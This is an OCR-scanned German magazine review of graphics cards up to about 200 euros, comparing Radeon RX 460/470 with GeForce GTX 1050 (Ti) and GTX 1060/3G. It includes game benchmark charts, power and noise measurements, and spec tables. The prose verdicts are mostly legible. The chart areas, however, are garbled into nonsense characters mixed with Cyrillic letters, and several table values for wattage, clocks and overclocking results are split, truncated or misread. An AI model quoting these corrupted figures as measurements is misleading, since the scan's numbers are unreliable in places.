wertiger Speicherkapazität. 


Radeon RX 470 (4 GiByte): Sieben 
Modelle des Preistipps im Direkt- 
Vergleich. Die Radeon RX 470 mit 
4 GiByte Speicher unterliegt der 
GTX 1060/3G im Leistungsindex 
knapp, war bei Redaktionsschluss 
jedoch ab 180 Euro erhältlich und 


EIN 
4 e 


ist somit die erste Wahl in Sachen 
Fps pro Euro (besagte RX 480/4G 
für 200 Euro ausgenommen). Das 
gute Preis-Leistungs-Verhältnis 
wird durch eine Weihnachtsaktion 
weiter verbessert: Wer bei einem 
teilnehmenden Shop eine RX 470 
bestellt, erhält die komplette ers- 
te Staffel des DX12-Meuchelspiels 
Hitman dazu; bei der RX 480 gibt's 
das Aufbauspiel Civilization VI. 


Die sieben getesteten RX-470-De- 
signs haben einige Gemeinsamkei- 
ten, unter anderem die zweifache 
Axialbelüftung und  werkseitige 
Übertaktung. Wir testen folglich 
keine absoluten Spardesigns mit 
einem Lüfter. Trotzdem 
scheiden sich die Karten stark in 


unter- 


ihrer Leistung, weshalb wir dieser 
wichtigen Disziplin einige Wor- 
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XFX führt neuerdings 
eine passiv gekühlte, -, 7 
ohne Strombuchse lauf- 1 
fáhige Radeon RX 460. 
Im Kurztest überzeugt 
die 4-GiByte-Version mit 
höchstens 75 °C Kern- 
temperatur, muss ihren 
Boost jedoch oft unter 
1.100 MHz drosseln — 
kein Wunder bei nur 
50 Watt GPU-TDP. 


Rise of the Tomb Raider: Am besten genießbar mit Radeon RX 470 


Rise of the Tomb Raider (DX12), „Sehr hoch"-Voreinstellung, 1080р – „Geo Valley XT" (60 Sek.) 
80 


70 Zi 


af Eé vi va any ALZA 


А |А N Ke 
2 МАИ eo ара 
Pë dni Vz ee 


20 


Bilder pro Sekunde (Fps) 


10 E АХ 460/26 Ш RX 460/46 ш АХ 470/46 
WI GTX 1050/26 W GTX 1050 Ti/4G В GTX 1060/36 


0 5 10 15 20 25 30 35 40 45 50 55 60 
Zeit in Sekunden 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB Corsair DDR4-3000 (1T); Windows 10 x64 (1607), GF 375.70 WHQL, RSC 16.10.3 
Beta; HQ-AF Bemerkungen: Alle Karten mit Referenztaktraten getestet. Interessant: Während die Radeon RX 460/2G gut mit ihrer 4G-Schwester mithalten kann, versumpft 
die ebenfalls mit nur 2 GiByte ausgestattete Geforce GTX 1050 unterhalb von 25 Fps. Optimal, d. h. mit stets mehr als 50 Fps, läuft es aber erst auf einer RX 470/4G. 


Skyrim Special Edition: Mit 150-Euro-Grafikkarten spielbar 


TES 5: Skyrim Special Edition (DX11), „Extrem”-Voreinstellung, 1080р – „Secunda’s Extended Kiss" (120 Sek.) 


^ SNR SX ту А 


80 


-~ W KS 
š 70 М —— ААА т / м 
5 М 
T 60 P ? A 
= М МУМ 
x 50 - rA AA Sai La KINNA 
e 40 ШЕРИҢ rs ————— МУ —— И — 
& 7 dir g 
Š 30 
= 
fa 20 
10 | P" RX4600G ШАХ 460/46 E RX 470/4G 
E GTX 1050/2G Ш GTX 1050 Т/4С Ей GTX 1060/36 
0 
0 5 10 15 20 25 30 35 40 45 50 55 60 


Zeit in Sekunden 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB Corsair DDR4-3000 (1T); Windows 10 x64 (1607), GF 375.70 WHQL, RSC 16.10.3 
Beta; HQ-AF Bemerkungen: Alle Karten mit Referenztaktraten getestet. Die seit Ende Oktober erhältliche Spezialedition des Klassikers Skyrim läuft auf Geforce-Grafikkarten 
besser als auf entsprechenden Radeon-Pendants. Dennoch genügt eine günstige RX 460/2G für mindestens 30 Fps in Full HD; mehr Speicher hilft erst bei Grafikmods. 
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te widmen. Bereits beim Test der 
RX-480-Varianten hat sich gezeigt, 
dass der Polaris-10-Chip durchaus 
sparsam arbeiten kann, beim Über- 
schreiten gewisser Grenzwerte 
jedoch einen großen Energiehun- 
ger entwickelt. Bei der RX 470 mit 
ihrem auf „Pro“-Level beschnitte- 
nen Kern (2.048 statt 2.304 ALUs) 
wiederholt sich das Spiel. Abhängig 
von der Zielsetzung des Herstellers 
fallen Kühldesign und Powerlimit 
mehr oder minder üppig aus, was 
sich auf den Boost auswirkt. 


Die wichtigste Stellschraube ist das 
Powerlimit der GPU: Je höher die- 
ses ausfällt, desto mehr Spannung 
und Takt darf sich der Prozessor 
genehmigen, bevor er sich drosselt. 
Der Energie- und somit Kühlbedarf 
nimmt bei erhöhten Werten expo- 
nentiell zu. Beim Blick auf die Pro- 
banden werden riesige Unterschie- 
de offenbar: Die ,Vernunftkarten* 
benügen sich mit 92 oder 95 Watt 
GPU-TDP, während Modelle mit 
hóheren Performance-Zielen auf 
105, 110, 130 oder sogar 150 Watt 
zurückgreifen kónnen. Da sich zu 
diesem Wert stets der Platinenver- 
brauch inklusive RAM und Span- 
nungswandlung addiert, kommt 
reichlich Abwárme zusammen. 


Grundsätzlich gilt: Die Karten mit 
92 oder 95 Watt GPU-TDP kónnen 
ihren Boost nicht ansatzweise hal- 
ten, abhángig von Spiel und Aufló- 
sung fällt er deutlich. Die tiefsten 
Stürze beobachten wir bei Asus' 
Strix, sie muss ihren Boost in Anno 
2070 auf bis zu 1.030 MHz senken. 
Es folgen die XFX RS Black Edition 
(1.080 MHz), HIS IceQ X? (1.100 
MHz) und Powercolor Red Devil 
(1.125 MHz). Alle Werte passen 
gut zur jeweiligen GPU-TDP und 
werden von der Sapphire Nitro+ 
OC sowie der MSI Gaming X unter- 
strichen. Diese Karten gewähren 
ihren GPUs satte 130 respektive 
150 Watt, was ihnen Boost-Best- 
werte einbringt: Die Nitro- stellt 
anspruchsarme Spiele wie Crysis 
3 mit vollem Boost dar und stemmt 
in Anno 2070 noch mindestens 
1.220 MHz. Nur die MSI Gaming X 
kann sogar in Stresstests wie dem 
PCGH-VGA-Tool ihre 1.242 MHz 
halten - sie trágt aber im Gegensatz 
zu Powercolor, Sapphire, HIS und 
XFX keinen 3.500-MHz-Speicher. 
Gigabytes G1 Gaming gelingt es, 
mit 105 Watt GPU-TDP und 3.300 
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MHz Speichertakt ihren Boost in 
Anno 2070 zu halten, lediglich bei 
Stresstests muss auch sie drosseln. 


Die Leistungsnoten fallen dement- 
sprechend aus, mit Sapphire knapp 
an der Spitze. Alle Karten können 
ihren Boost übrigens halten, wenn 
Sie das Powerlimit im Wattman 
oder einem anderen Tuning-Tool 
um mindestens 20 Prozent erhö- 
hen. Das führt aber zu hoher Laut- 
stärke. Im Werkszustand erzeugen 
fünf der sieben Probanden gute 
Werte zwischen 1,5 und 2,5 Sone, 
nur Asus und Powercolor fallen mit 
maximal 3,2 respektive 4,6 Sone 
negativ auf. Bei beiden hilft es, das 
Temperaturziel im Treiber auf min- 
destens 75 °C heraufzusetzen, wo- 
raufhin die Lüftersteuerung etwas 
zahmer wird. Gute Nachrichten bei 
den Kühlern an sich: Alle Designs 
versorgen nicht nur die GPU ange- 
messen, sondern auch die hitzigen 
Spannungswandler - allein der 
Speicher liegt bei einigen Model- 
len frei. Die umfassendsten Kühler 
bieten Gigabyte und Sapphire, hier 
werden alle Hitzequellen vom Küh- 
ler bedeckt und von einer Backpla- 
te inklusive Wärmeleitpad komplet- 
tiert. Ausgerechnet die MSI Gaming 
X mit ihrer Rekord-TDP trägt nur 
ein relativ kleines VRM-Kühlprofil, 
Ausfallerscheinungen konnten wir 
jedoch keine feststellen. 


Fazit: Grundsätzlich sind alle De- 
signs gut, doch nicht immer arbei- 
tet die Lüftersteuerung optimal. 
Eine wohldosierte Mischung aus 
Undervolting und Lüfterkurven- 
tuning führt zum Erfolg. 


Geforce GTX 1050 Ti (4 GiByte): Fünf 
Optionen für all jene, die geringe 
Leistungsaufnahme und Lautheit 
über alles andere stellen. Grafikkar- 
ten auf Basis der GTX 1050 Ti brin- 
gen stets 4 GiByte Speicher mit und 
platzieren sich in der Referenzver- 
sion mit ihrem zahmen 1.392-MHz- 
Boost deutlich unterhalb der RX 
470/4G und GTX 1060/3G. Alle an- 
wesenden Partnerdesigns begnü- 


ALTERNATE w. uac Kal 
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gen sich jedoch nicht mit dem Stan- 
dardtakt, sondern legen eine grofše 
bis sehr grofše Schippe nach. Der 
Speichertakt bleibt unangetastet. 


Auch hier erringen diejenigen Kar- 
ten den Benchmarksieg, welche 
neben einem erhöhten Powerlimit 
auch eine starke Kühlung aufwei- 
sen. Die schnellsten Modelle stam- 
men von Asus und MSI, sie rechnen 


mit mindestens 1.797 respektive 
1.734 MHz - 29/25 Prozent mehr 
als die Vorgabe! Der Leistungsge- 
winn in Spielen fällt nicht linear 
aus, Battlefield 1 läuft jedoch 17 
beziehungsweise 15 Prozent flüssi- 
ger; die übrigen Karten reihen sich 
schrittweise und mit geringem Ab- 
stand dahinter ein. Im Mittel kom- 
men selbst die schnellsten Modelle 
nicht an die RX 470/4G heran. Das 


müssen sie auch nicht, denn die 
Probanden haben andere Qualitä- 
ten. Dazu zählt zweifelsohne die 
sehr hohe Energieeffizienz, denn 
die Leistung wird bei einem Maxi- 
malverbrauch zwischen rund 55 
(EVGA/Zotac) und 75 Watt (Asus/ 
MSI) erreicht. Die geringe Abwär- 
me führt mit Ausnahme der unnö- 
tig lauten Zotac-Karte zu traumhaf- 
ten Werten bei der Lautheit. Wir 


Battlefield 1: RX 470/4G und GTX 1060/3G auf Augenhöhe 


Battlefield 1 (DX11), „Ultra”-Voreinstellung, 1080р – „Gallipoli XT" (60 Sek.) 
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Zeit іп Ѕекипдеп 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 х 8 GiB Corsair DDR4-3000 (17); Windows 10 x64 (1607), GF 375.70 WHQL, RSC 16.10.3 
Beta; НО-АЕ Bemerkungen: Alle Karten тії Referenztaktraten getestet. Battlefield 1 produziert mit 2-GiByte-Grafikkarten zwar gute Bildraten, spart dabei jedoch an 
Texturdetails. Dieses Verhalten wird bei 3 GiByte abgeschwächt und ist bei vieren schließlich vorbei — zumindest in Full HD. 


Deus Ex Mankind Divided: Ab der 200-Euro-Klasse gut spielbar 


Deus Ex: Mankind Divided (DX11), „Sehr hoch"-Voreinstellung, 1080р – „Prague XT" (60 Sek.) 
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Zeit іп Sekunden 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB Corsair DDR4-3000 (1T); Windows 10 x64 (1607), GF 375.70 WHQL, RSC 16.10.3 
Beta; НО-АЕ Bemerkungen: Alle Karten тії Referenztaktraten getestet. Mit der Gewichtsklasse АХ 460 und GTX 1050 (Ti) bereitet DXMD bei sehr hohen Details keine 
Freude, da helfen 4 anstelle von 2 GiByte Speicher wenig. Die 200-Euro-Klasse liefert signifikant bessere Bildraten. 
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HERSTELLERGARANTIE 


TITANIUM 


GRAFIKKARTEN | GTX 1050 (Ti) vs. RX 460/470 


44 Grafikkarten von 2010 bis heute in Battlefield 1 


Battlefield 1 (Direct X 11), 1.920 x 1.080, Ultra-Preset — ,,Gallipoli” 
EVGA GTX 1070 SC Gaming/8G M 113,7 (+1.337 %) GTX 1050 Ti OC @ 1.911/4.004 MHz [XXE 56,7 (+618 %) 


Palit GTX 980 Ti Super Jetst/6G ШС 112,7 (+1.327 96) Nvidia Geforce GTX 780/3G EEE 55,6 (+604 %) 
AMD Radeon R9 Fury X/4G EEE 96,7 (+1.124 %) Asus GTX 1050 Ti Strix OC/4G ШО 53,7 (+580 %) 
GTX 1060/3G OC @ 2.000/4.800 MHz - 89,1 (1.028 96) MSI GTX 1050 Ti Gaming X/4G EST 53,0 (+571 %) 
АХ 470/4G OC @ 1.400/4.200 MHz HE 85,4 (+981 %) Zotac GTX 1050 Ti OC Edition/4G ES 52,9 (+570 %) 
Asus RX 480 Strix OC/8G EEE ШЇ 84,3 (+967 96) Gigabyte GTX 1050 Ti G1 Gaming/4G ES] 52,7 (+567 %) 
Palit GTX 1060 Dual/6G Ш 82,7 (+947 %) EVGA GTX 1050 Ti SC Gaming/4G EEE 51,7 (+554 %) 
GTX 1060/3G OC @ 2.000/4.000 MHz awmi 81,2 (+928 %) Nvidia Geforce GTX 1050 Ti/4G [Xuan 46,0 (+482 %) 
АХ 470/4G OC @ 1.350/3.900 MHz EEE 80,6 (+920 %) Nvidia Geforce GTX 770/2G [XX 45,9 (+481 96) 
Palit GTX 1060 Dual/3G N 77,8 (+885 %) Asus GTX 1050 Expedition/2G EEE 44,3 (+461 %) 
Powercolor R9 390 PCS+/8G [mun 77,3 (+878 96) AMD Radeon HD 7950/36 SSwI|SIƏIƏIOIIHHƏIHIISTSIcEIHHÚ IIS %) 
KFA? GTX 1060 OC/3G В 76,4 (+867 %) RX 460/4G OC @ 1.300/3.900 MHz a] 41,3 (+423 %) 
Zotac GTX 1060 Mini/3G EEE 76,0 (+862 %) Nvidia Geforce GTX 1050/26 [X38] 40,5 (+413 96) 
Sapphire RX 470 Nitro+ OC/4G ШШШ 75,7 (+858 %) AMD Radeon HD 7870/2G ISIETKCGCIG IƏIEOUI—I.I AI5N408 %) 
MSI GTX 970 Gaming/3,5+0,5G ШЕ 74,8 (+847 %) Asus RX 460 Strix OC/4G [RESI] 39,8 (+404 %) 
Powercolor RX 470 Red Devil/4G EN 74,1 (+838 %) AMD Radeon RX 460/46 EEE] 39,0 (+394 96) 
Gigabyte RX 470 G1 Gaming/4G EEE 73,7 (+833 %) AMD Radeon RX 460/26 ИШШШИЗ5 38,8 (+391 96) 
HIS RX 470 IceQ X? Turbo/4G EEE 73,5. (+830 %) Nvidia Geforce GTX 660/26 ZS] 30,8 (+290 %) 
ХЕХ АХ 470 RS Black Edition/4G EEE 73,0 (+837 %) Nvidia Geforce GTX 570/1,25G В| 12,9 (+63 96) 
MSI RX 470 Gaming X/4G EEE 72,4 (+816 %) Nvidia Geforce GTX 560 Ti/1G [X91] 11,4 (+44 %) 
Asus RX 470 Strix OC/AG EEE I 71,9 (+810 %) Nvidia Geforce GTX 460/16 7,9 (Basis) 
AMD Radeon RX 470/46 EEE 71,2 (+801 96) AMD Radeon HD 6000/5000* Absturz 
System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiByte Corsair DDR4-3000 (1T), Windows 10 x64 (1607), RSC 16.11.4, Gef. 375.95 WHQL; HQ-AF Mimil o Fps 
Bemerkungen: Mit manueller Übertaktung schlagen sich RX 470/4G und GTX 1060/3G besonders gut. *Frieren auf unseren Testrechnern mit Radeon Software 16.2.1 Legacy ein, kein Spielen möglich. » Besser 
Auszug aus Testtabelle 
mit 21 Wertungskriterien E 
Produktname GTX 1060 3GB Dual RX 470 Nitro+ 4D5 OC GTX 1060 3GB OC 
Hersteller/Webseite Palit (www.palit.biz) Sapphire (www.sapphiretech.com) KFA? (www.kfa2.com) 
Ca.-Preis/Preis-Leistungs-Verhältnis Ca. € 210,-/befriedigend Ca. € 200,-/befriedigend Ca. € 200,-/befriedigend 
www.pcgh.de/preis/1480332 www.pcgh.de/preis/1483308 www.pcgh.de/preis/1494969 
Grafikeinheit; Codename (Fertigung) Geforce GTX 1060; GP106-300-A1 (16 nm) Radeon RX 470; Polaris 10 Pro (14 nm) Geforce GTX 1060; GP106-300-A1 (16 nm) 
2D-Takt GPU/RAM (Spannung) 139/405 MHz (0,625 VGPU) 300--/300 MHz (0,825 VGPU) 165/405 MHz (0,625 VGPU) 
3D-Basis-/Boosttakt GPU/RAM (Übertaktung) 1.506 (Boost: 1.848+)/4.007 MHz (+8/0 % OC) 1.220+ (Boost: 1.260)/3.500 MHz (+1/+6 % ОС) 1.519 (Boost: 1.810+)/4.007 MHz (+6/0 % OC) 
Ausstattung (20 %) 2,73 2,38 2,83 
Speichermenge/Anbindung 3.072 MiByte (192 Bit) 4.096 MiByte (256 Bit) 3.072 MiByte (192 Bit) 
Speicherart/Hersteller 8-Gbps-GDDR5 (Samsung KAG41325FE-HC25) 7-Gbps-GDDR5 (SK-Hynix H5GCAH24AJR-ROC; 1,5V) 8-Gbps-GDDR5 (Samsung K4G41325FE-HC25) 
Monitoranschlüsse 3 x Displayport 1.4, 1 x HDMI 2.0b, 1 x DVI-D 2 x Displayport 1.4, 2 x HDMI 2.06, 1 x DVI-D 1 x Displayport 1.4, 1 x HDMI 2.0b, 1 x DVI-D 
Kühlung Eigendesign, Dual-Slot, 3 Heatpipes à 6 mm, 2 x 90 mm |Dual-X, Dual-Slot, 3 HP (2 x 10, 1 x 8 тт), 2 x 95 mm | Eigendesign, Dual-Slot, 2 Heatpipes à 6 mm, 2 x 75 mm 
axial, groBes VRM-Kühlprofil, keine RAM-Kühler axial, Korpus bedeckt VRMs & RAM; Backplate inkl. Pad | axial, Korpus bedeckt VRMs und Teile des RAMs 
Software/Tools/Spiele Thunder Master (Tweak-Tool), Treiber Treiber Treiber-CD 
Handbuch; Garantie Faltblatt (deutsch); 2 Jahre Faltblatt (deutsch); 3 Jahre Faltblatt (englisch); 2 Jahre 
Kabel/Adapter/Beigaben > Einladung zum Sapphire Select Club Stromadapter: 2xMolex-auf-6-Pol 
Sonstiges 3+1-Spannungsversorgung, ausgelesene TDP: 120 Watt; |Dual-BIOS (Boost/Quiet), 4+2-VRMs, GPU-TDP 130W; |3+1-VRMs; ТОР 120 Watt; Lüfter laufen immer, Karte 
Lüfter laufen immer (2D: -800 U/Min.) Basistakt: 1.143 MHz; Lüfter drehen ab -56 °C postet beim PC-Start; Spannungsmesspunkte 
Eigenschaften (20 %) 1,98 2,29 1,97 
Temperatur GPU (2D-Leerlauf/Spiel/Extremfall) 28/74/74 Grad Celsius 49/75/76 Grad Celsius 31/70/70 Grad Celsius 
Lautheit (+PWM) aus 50 cm (2D/Spiel/Extremfall) 0,1 (25 %)/1,4 (49 %)/1,4 (49 %) Sone 0,0 (passiv)/2,5 (41 96)/2,7 (42 %) Sone 0,3 (27 96)/1,5 (51 %)/1,5 (51 96) Sone 
Spulenpfeifen/-zirpen (unter Last) Unauffällig (erst ab hohen vierstelligen Fps) Normal (leises Zirpen in Spielen; Fiepen ab 3-stell. Fps) | Unauffállig (erst ab hohen vierstelligen Fps) 
Gemessener Verbrauch 2D-Desktop/Ultra-HD-Video/2 Bildschirme — |6/11/8,5 Watt 15/48/36 Watt 9/13,5/10 Watt 
Verbrauch Crysis 3/Anno 2070/Maximum 115/126/127 Watt (Powertarget: 100 Prozent) 184/195/209 Watt (, Boost"-BIOS) 120/122/123 Watt (Powertarget: 100 Prozent) 
GPU-OC bestanden? (+10/+15/+20 % ausgehend vom Min-Boost) | Ja (2.035)/nein (2.125)/nein (2.220 MHz) Ja (1.340)/nein (1.405)/nein (1.345 MHz) Ja (1.990)/nein (2.080)/nein (2.170 MHz) 
RAM-OC bestanden? (+10/+15/+20 %) Ja (4.410)/ja (4.610)/ja (4.810 MHz) Ja (3.850)/nein (4.025)/nein (4.200 MHz) Ja (4.410)/ja (4.610)/nein (4.810 MHz) 
Spannungsänderung in Tools möglich? Ја (GPU bis 100 96; Powerlimit bis 116 % (= 140W) Ja (GPU/RAM-Ctlr. bis 1,175 Volt), Powerlimit bis +50 % | Ja (GPU bis 100 96; Powerlimit bis 116 % (= 140W) 
Länge/Breite der Karte; Stromstecker 25,3 (PCB: 24,0)/3,4 cm; 1 x 6-Pol (vertikal) 24,0 (PCB 24,0)/3,5 cm; 1 x 8-Pol (horizontal) 23,4 (PCB: 21,5)/3,5 cm; 1 x 6-Pol (vertikal) 


Leistung im PCGH-Index (60 %) 2,93 2,94 2,95 


© Leise Kühlung © Zwei Betriebsmodi per BIOS: Boost/Quiet © Leise Kühlung mit OC-Reserven 
© Preis-Leistungs-Verhältnis Q 3 Jahre Garantie © Preis-Leistungs-Verhältnis 
F A Z | | © Nur 3 GiByte Speicher © Relativ stromdurstig © Nur 3 GiByte Speicher 


Wertung: 2,70 Wertung: 2,71 Wertung: 2,73 
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zollen dieser Tatsache mittels 
unserer relativ selten genutz- 
ten Silent- und Energiesparer- 
Awards Respekt. Fazit: GTX- 
1050-Ti-Karten sind wahrlich 
kein Schnäppchen, aber dafür 
in jedem Fall sparsam und fast 


immer leise. 


Spar-Duell. Aufgrund des rela- 
tiv schwachen Preis-Leistungs- 
Verhältnisses und der geringen 
Grundleistung beschränken wir 
uns auf je ein Exemplar der ge- 
nannten Karten. Beide liefern 
im Rahmen ihrer Möglichkei- 
ten eine gute Performance. Die 
Stärken der Asus GTX 1050 Ex- 
pedition liegen in der geringen 
Lautheit, zusammen mit der 
Leistungsaufnahme von höchs- 
tens 55 Watt direkt aus dem 
PEG-Slot (keine Strombuchse). 
Dank dieser Bescheidenheit eig- 
net sich die Karte auch für se- 
kundäre Zwecke, beispielsweise 
zum Anschluss weiterer Moni- 
tore oder als Physikbeschleuni- 
ger - beachten Sie dazu auch 


die Seite nach den Testtabellen. 
Die RX 460 Strix O4G schlägt in 
eine andere Kerbe. Sie benötigt 
einen — Sechspol-Stromstecker 
vom Netzteil und verbraucht 
beim Spielen bis zu 98 Watt, 
bleibt aber ebenfalls leise. Dank 
4 GiByte Speicher ist sie moder- 
nen Spielen respektive deren 
Texturen besser gewachsen als 
die stets mit 2 GiByte bestückte 
GTX 1050, für volle Details in 
Full HD genügt aber auch ihre 
Leistung nicht. Fazit: Sparsam, 
aber auch weitgehend spaßarm. 
Wer spielt, greift zu den nächst- 
hóheren Modellnummern. (rv) 


Grafikkarten bis circa 200 Euro 
Es folgen die Testtabellen mit ihren 
unzähligen Messdaten. Grund- 
sätzlich gilt: Wer in erster Linie 
viele Frames pro Euro will, greift 
zu einer Radeon RX 470. Wer eine 
möglichst leise Kühlung und ge- 
ringe Leistungsaufnahme stärker 
gewichtet, wird mit einer Geforce 
GTX 1050 (Ti) am glücklichsten. 


MSI (http://de.msi.com) 


RX 470 G1 Gaming 4G 
Gigabyte (www.gigabyte.de) 


Ca. € 210,-/befriedigend 


Ca. € 210,-/befriedigend 


www.pcgh.de/preis/1488427 


www.pcgh.de/preis/1488416 


Radeon RX 470; Polaris 10 Pro (14 nm) 


Radeon RX 470; Polaris 10 Pro (14 nm) 


300+/300 MHz (0,800 VGPU) 


300+/300 MHz (0,800 VGPU) 


1.242 (Boost: 1.242)/3.300 MHz (+3/0 % OC) 


1.230 (Boost: 1.230)/3.300 MHz (+2/0 96 OC) 


4.096 MiByte (256 Bit) 


4.096 MiByte (256 Bit) 


7-Gbps-GDDR5 (SK-Hynix H5GCAH24AJR-ROC; 1,5V) 


7-Gbps-GDDR5 (SK-Hynix H5GC4H24AJR-ROC; 1,5V) 


2 x Displayport 1.4, 2 x HDMI 2.0b, 1 x DVI-D 


3 x Displayport 1.4, 1 x HDMI 2.06, 1 x DVI-D 


Twin Frozr VI, Dual-Slot, 2 Heatp. (1 x 8 mm, 1 x 6 
mm), 2 x 95 mm axial, kleines VRM-Profil (RAM: blank) 


Windforce 2x, Dual-Slot, 3 HP à 6 mm, 2 x 90 mm axial, 
Korpus bedeckt VRMs & RAM; Backplate inkl. Pads 


Afterburner & М5! Gaming App, Treiber 


reiber 


Faltblatt (deutsch); 3 Jahre 


Faltblatt (deutsch); 3 Jahre 


GPU-TDP: 150W; Lüfter drehen ab -59 °C 


Getestet mit BIOS F6; GPU-TDP 105 Watt; Lüfter dre- 
hen ab -52 °C; bootet aktiv mit 1,2 Sone Lautheit 


44/73/82 Grad Celsius 


47/71/71 Grad Celsius 


0,0 (passiv)/1,8 (39 %)/3,0 (50 %) Sone 


0,0 (passiv)/2,4 (55 96)/2,4 (55 96) Sone 


Normal (leises Zirpen in Spielen; Fiepen ab 3-stell. Fps) 


опта! (leises Zirpen in Spielen; Fiepen ab 3-stell. Fps) 


6/41/36 Watt 


22/47/42 Watt 


67/188/222 Watt (Powertune: Standard) 


161/184/185 Watt (Powertune: Standard) 


(1.365)/nein (1.430)/jnein (1.490 MHz) 


ein (1.355)/nein (1.415)/nein (1.475 MHz) 


Ja (3.630)/ja (3.795)/ja (3.960 MHz) 


1 
1 
Ja 

Ja (3.630)/ja (3.795)/nein (3.960 MHz) 

Ja (GPU/RAM-Ctlr. bis 1,175V), Powerlimit bis +50 96 


Ja (GPU/RAM-Ctlr. bis 1,175V), Powerlimit bis +50 96 


27,5 (PCB 26,7)/3,5 cm; 1 x 8-Pol (vertikal) 


23,4 (PCB 22,0)/3,5 cm; 1 x 8-Pol (vertikal) 


° 
+ 


rtung: 2,74 Wertung: 2,76 
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GRAFIKKARTEN | GTX 1050 (Ti) vs. RX 460/470 


GRAFIKKARTEN 


Auszug aus Testtabelle 
mit 21 Wertungskriterien 


Produktname 
Hersteller/Webseite 


zotat 


GTX 1060 3GB Mini 


Zotac (www.zotac.com) 


s 


гйшаге 


RX 470 IceQ X2 Turbo 
HIS (www.hisdigital.com/de) 


RX 470 RS Black Edition 
ХЕХ (xfxforce.com/de) 


Ca.-Preis/Preis-Leistungs-Verhältnis 


Ca. € 210,-/befriedigend 


Ca. € 190,-/gut 


Ca. € 210,-/befriedigend 


PCGH-Preisvergleich 


www.pcgh.de/preis/1495006 


www.pcgh.de/preis/1488555 


www.pcgh.de/preis/1488365 


Grafikeinheit; Codename (Fertigung) 


Geforce GTX 1060; GP106-300-A1 (16 nm) 


Radeon RX 470; Polaris 10 Pro (14 nm) 


Radeon RX 470; Polaris 10 Pro (14 nm) 


2D-Takt GPU/RAM (Spannung) 


139/405 MHz (0,625 VGPU) 


300+/300 MHz (0,800 VGPU) 


300+/300 MHz (0,800 VGPU) 


3D-Basis-/Boosttakt GPU/RAM (Übertaktung) 


1.506 (Boost: 1.797+)/4.007 MHz (+5/0 % ОС) 


1.100+ (Boost: 1.256)/3.500 MHz (0/+6 % ОС) 


1.080+ (Boost: 1.256)/3.500 MHz (0/+6 % OC) 


Ausstattung (20 %) 2,58 2,63 2,48 

Speichermenge/Anbindung 3.072 MiByte (192 Bit) 4.096 MiByte (256 Bit) 4.096 MiByte (256 Bit) 

Speicherart/Hersteller 8-Gbps-GDDR5 (Samsung K4G41325FE-HC25) 7-Gbps-GDDR5 (SK-Hynix H5GC4H24AJR-R0C; 1,5V) 7-Gbps-GDDR5 (Elpida W4032BABG-70-F; 1,6V) 

Monitoranschlüsse 3 x Displayport 1.4, 1 x HDMI 2.06, 1 x DVI-D 3 x Displayport 1.4, 1 x HDMI 2.0b, 1 x DVI-D 3 x Displayport 1.4, 1 x HDMI 2.0b, 1 x DVI-D 

Kühlung Eigendesign, Dual-Slot, Alu-Radiator ohne Heatpipes, 1 x 90 ` | Eigendesign, Dual-Slot, 3 Heatpipes à 8 mm, 2 x 85 mm axial, | Ghost 4.0, Dual-Slot, 3 Heatpipes à 8 mm, 2 x 85 mm axial, 
mm axial, kleines VRM-Kühlprofil, keine RAM-Kühler Korpus bedeckt VRMs (RAM: blank) Korpus bedeckt VRMs (RAM: blank) 

Software/Tools/Spiele Firestorm (Tweak-Tool), Treiber Treiber Treiber 


Handbuch; Garantie 


Faltblatt (dt.); 2 Jahre (5 nach Registrierung bei Zotac) 


Faltblatt (deutsch); 2 Jahre 


Faltblatt (englisch); 3 Jahre (5 für die Lüfter) 


Kabel/Adapter/Beigaben 


Stromadapter: 2x-Molex-auf-6-Pol 


Stromadapter: 2x-Molex-auf-6-Pol 


Sonstiges 


Eigenschaften (20 %) 
Temperatur GPU (2D-Leerlauf/Spiel/Extremfall) 


5+1-Spannungsversorgung, ausgelesene TDP: 120 Watt; 


PCGH 
2,33 


33/82/82 Grad Celsius 


-Tipp: 2D mit 40 % PWM -> 0,3 Sone 


Dual-BIOS-Schalter, GPU-TDP 95 Watt; Lüfter drehen ab. 
~58 °C; PCGH-Tipp: 45 % PWM 3D -> 0,9 Sone 


2,11 
46/70/70 Grad Celsius 


Dual-BIOS-Schalter; herausnehmbare Lüfter; Temp-Target 
70 °С; GPU-TDP 92 Watt; Lüfter drehen ab -58 °C 


2,25 
45/70/70 Grad Celsius 


Lautheit (+PWM) aus 50 cm (2D/Spiel/Extremfall) 


1,2 (53 %)/3,4 (74 %)/3,4 (74 %) Sone 


0,0 (passiv)/1,5 (50 %)/1,5 (50 %) Sone 


0,0 (passiv)/2,2 (52 %)/2,6 (55 %) Sone 


Spulenpfeifen/-zirpen (unter Last) 


Unau 


ällig (erst ab hohen vierstelligen Fps) 


Normal (leises Zirpen in Spielen; Fiepen ab 3-stell. Fps) 


Normal (leises Zirpen in Spielen; Fiepen ab 3-stell. Fps) 


Gemessener Verbrauch 2D/UHD-Video/2 LCDs 


9/14! 


11 Watt 


15/43/37 Watt 


14/40/35 Watt 


Verbrauch Crysis 3/Anno 2070/Max. 


108/ 


20/120 Watt (Powertarget: 100 Prozent) 


159/160/162 Watt (Powertune: Standard) 


152/147/155 Watt (Powertune: Standard) 


GPU-OC bestanden? (+10/+15/+20 %) 


Ја ( 


975)/пеїп (2.065)/nein (2.155 MHz) 


Ja (1.210)/ja (1.265)/nein (1.320 MHz) 


Ja (1.190)/ja (1.240)/ja (1.295 MHz) 


ВАМ-ОС bestanden? (+10/+15/+20 %) 


Ja (4.410)/ja (4.610)/nein (4.810 


Hz) 


Ja (3.850)/ja (4.025)/nein (4.200 MHz) 


Ja (3.850)/nein (4.025)/nein (4.200 MHz) 


Spannungsänderung in Tools möglich? 


Ja (G 


U bis 100 %; Powerlimit bis 116 % (= 140W) 


Ja (GPU/RAM-Ctlr. bis 1,175 Volt), Powerlimit bis +50 % 


Ја (GPU/RAM-Ctir. bis 1,175 Volt), Powerlimit bis +50 96 


Länge/Breite der Karte; Stromstecker 
Leistung im PCGH-Index (60 %) 


FAZIT 


2,96 


